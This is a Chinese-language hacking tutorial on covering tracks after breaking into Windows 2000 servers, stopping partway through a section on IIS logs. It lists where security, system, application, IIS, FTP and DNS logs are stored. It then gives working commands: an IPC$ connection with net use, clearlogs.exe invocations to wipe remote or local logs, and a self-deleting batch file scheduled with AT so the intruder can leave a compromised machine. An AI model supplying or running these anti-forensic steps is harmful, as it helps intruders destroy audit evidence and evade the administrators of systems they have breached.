清理你入侵后的痕迹.docVIP

DNS日志默认位置：%systemroot%\system32\config，默认文件大小512KB，管理员都会改变这个默认大小。安全日志文件：%systemroot%\system32\config\SecEvent.EVT 系统日志文件：%systemroot%\system32\config\SysEvent.EVT 应用程序日志文件：%systemroot%\system32\config\AppEvent.EVT FTP日志默认位置：%systemroot%\system32\logfiles\msftpsvc1\，默认每天一个 WWW日志默认位置：%systemroot%\system32\logfiles\w3svc1\，默认每天一个日志 以上日志在注册表里的键： 应用程序日志，安全日志，系统日志，DNS服务器日志， 它们这些LOG文件在注册表中的： HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog 钥匙（表示成功）和锁（表示当用户在做什么时被系统停止）。接连四个锁图标，表示四次失败审核，事件类型是帐户登录和登录、注销失败 怎样删除这些日志： 通过上面，得知日志文件通常有某项服务在后台保护，除了系统日志、安全日志、应用程序日志等等，它们的服务是Windos2000的关键进程，而且与注册表文件在一块，当Windows2000启动后，启动服务来保护这些文件，所以很难删除. 下面就是很难的安全日志和系统日志了，守护这些日志的服务是Event Log，试着停掉它！ D:\SERVER\system32\LogFiles\W3SVC1 net stop eventlog 这项服务无法接受请求的暂停 或停止 操作。 怎么清除系统日志. 怎么利用工具清除IIS日志 怎么清除历史和cookie 怎么察看防火墙Blackice的日志 netstat -an 表示的什么意思 1.系统日志 通过手工很难清除. 这里我们介绍一个工具 clearlog.exe 使用方法: Usage: clearlogs [\\computername] -app / -sec / -sys -app 应用程序日志 -sec 安全日志 -sys 系统日志 a. 可以清除远程计算机的日志 ** 先用ipc连接上去: net use \\ip\ipc$ 密码/user:用户名 ** 然后开始清除: 方法 clearlogs \\ip -app 这个是清除远程计算机的应用程序日志 clearlogs \\ip -sec 这个是清除远程计算机的安全日志 clearlogs \\ip -sys 这个是清除远程计算机的系统日志 b.清除本机日志: 如果和远程计算机的不能空连接. 那么就需要把这个工具传到远程计算机上面 然后清除. 方法: clearlogs -app 这个是清除远程计算机的应用程序日志 clearlogs -sec 这个是清除远程计算机的安全日志 clearlogs -sys 这个是清除远程计算机的系统日志 安全日志已经被清除.Success: The log has been cleared 成功. 为了更安全一点.同样你也可以建立一个批处理文件.让自动清除. 做好批处理文件.然后用at命令建立一个计划任务. 让自动运行. 之后你就可以离开你的肉鸡了. 例如建立一个 c.bat rem 开始 @echo off clearlogs -app clearlogs -sec clearlogs -sys del clearlogs.exe del c.bat exit rem 结束 在你的计算机上面测试的时候 可以不要 @echo off 可以显示出来. 你可以看到结果 第一行表示: 运行时不显示窗口 第二行表示: 清除应用程序日志 第三行表示: 清除安全日志 第四行表示: 清除系统日志 第五行表示: 删除 clearlogs.exe 这个工具 第六行表示: 删除 c.bat 这个批处理文件 第七行表示: 退出 用AT命令. 建立一个计划任务. 这个命令在原来的教程里面和杂志里面都有. 你可以去看看详细的使用方法 AT 时间 c:\c.bat 之后你就可以安全离开了. 这样才更安全一点. 2.清除iis日志: 工具:cleaniis.exe 使用方法: iisantidote iisantidote stop stop opiton will stop iis before clearing the files and restart it after exemple : c:\winnt\system32\logfiles\